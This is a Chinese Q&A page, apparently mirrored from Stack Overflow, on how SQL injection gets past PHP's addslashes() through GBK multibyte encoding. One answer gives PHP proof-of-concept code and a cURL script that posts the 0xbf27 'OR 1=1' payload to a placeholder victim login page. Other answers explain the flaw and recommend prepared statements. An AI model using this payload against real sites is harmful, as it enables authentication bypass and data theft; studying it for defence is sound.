【问题标题】:Examples of SQL Injections through addslashes()?通过 addlashes() 进行 SQL 注入的示例?
【发布时间】:2010-10-26 01:07:53
【问题描述】:

在 PHP 中,我知道 mysql_real_escape 比使用 addslashes 安全得多。 但是,我找不到addslashes 会让 SQL 注入发生的示例。

谁能举几个例子?

【问题讨论】:

    标签: php sql sql-injection security


    【解决方案1】:

    mysql_real_escape_string() versus Prepared Statements 清楚地解释了 mysql_real_escape_string() 不是 100% 安全

    mysql_set_charset('GBK')代替mysql_query("SET CHARACTER SET 'GBK'"),mysql_real_escape_string()可以100%安全。 p>

    【讨论】:

      【解决方案2】:

      Chris Shiflett 用下面的例子清楚地解释了,如果你在数据库中使用 GBK 编码时尝试一下,那当然会起作用。即使我尝试过,这也证明了sql注入的机会,尽管很少,但有知识和能力的人可以轻松注入。这是一个例子......

      <?php 
      
             $mysql = array();
             $db = mysqli_init();
             $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
      
             /* SQL Injection Example */
      
             $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
             $_POST['password'] = 'guess';
      
             $mysql['username'] = addslashes($_POST['username']);
             $mysql['password'] = addslashes($_POST['password']);
      
             $sql = "SELECT * FROM   users
                     WHERE username = '{$mysql['username']}'
                     AND password = '{$mysql['password']}'";
      
             $result = $db->query($sql);
      
             if ($result->num_rows) {
                    /* Success */
             } else {
                    /* Failure */
             }
      
      ?>
      

      虽然通常认为使用addslashes() 或magic_quotes_gpc 有点安全,但使用GBK 会使它们几乎无用。下面的 PHP cURL 脚本将能够利用注入,希望这能帮助你更多地理解:

      <?php
      
             $url     = "http://www.victimsite.com/login.php";
             $ref     = "http://www.victimsite.com/index.php";
             $session = "PHPSESSID=abcdef01234567890abcdef01";
      
             $ch      = curl_init();
      
             curl_setopt( $ch, CURLOPT_URL,            $url     );
             curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
             curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
             curl_setopt( $ch, CURLOPT_COOKIE,         $session );
             curl_setopt( $ch, CURLOPT_POST,           TRUE     );
             curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                       "OR 1=1/*&submit=1" );
      
             $data = curl_exec( $ch );
      
             print( $data );
             curl_close( $ch );
       ?>
      

      【讨论】:

        【解决方案3】:

        好吧,here's the article you want

        基本上,攻击的工作方式是让addslashes() 在多字节字符中间放置一个反斜杠,这样反斜杠就会因为成为有效多字节序列的一部分而失去其意义。

        文章中的一般警告:

        这种类型的攻击对于任何字符编码都是可能的 有一个以0x5c 结尾的有效多字节字符,因为 addslashes() 可以被诱骗创建一个有效的多字节字符 而不是转义后面的单引号。 UTF-8 不适合 这个描述。

        【讨论】:

        • 魔术引号怎么样?我见过只是将 $POST['password'] 放入 SQL 查询的站点,并且对他们来说并没有失败。你能解释一下它为什么会起作用吗?
        • 魔术引号是一个完整的'另一个主题;见stackoverflow.com/questions/220437/magic-quotes-in-php。大概您给出的示例“有效”,因为魔术引号已打开。不使用魔术引号的众多原因之一是魔术引号使用与 addlashes() 相同的逻辑,因此具有此处描述的相同漏洞。
        【解决方案4】:

        作为对这里答案的读者的补充:这个 MySQL 错误已经得到修复:)

        此外,使用预准备语句始终是一种好习惯。这是您可以触发查询的最无漏洞利用的方式(并且在几个用例中是性能最高的)。它会让你摆脱这个缺陷。

        【讨论】:

        • 您能在此错误修复中提及您的来源吗?谢谢!
        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2011-02-02
        • 2014-04-12
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多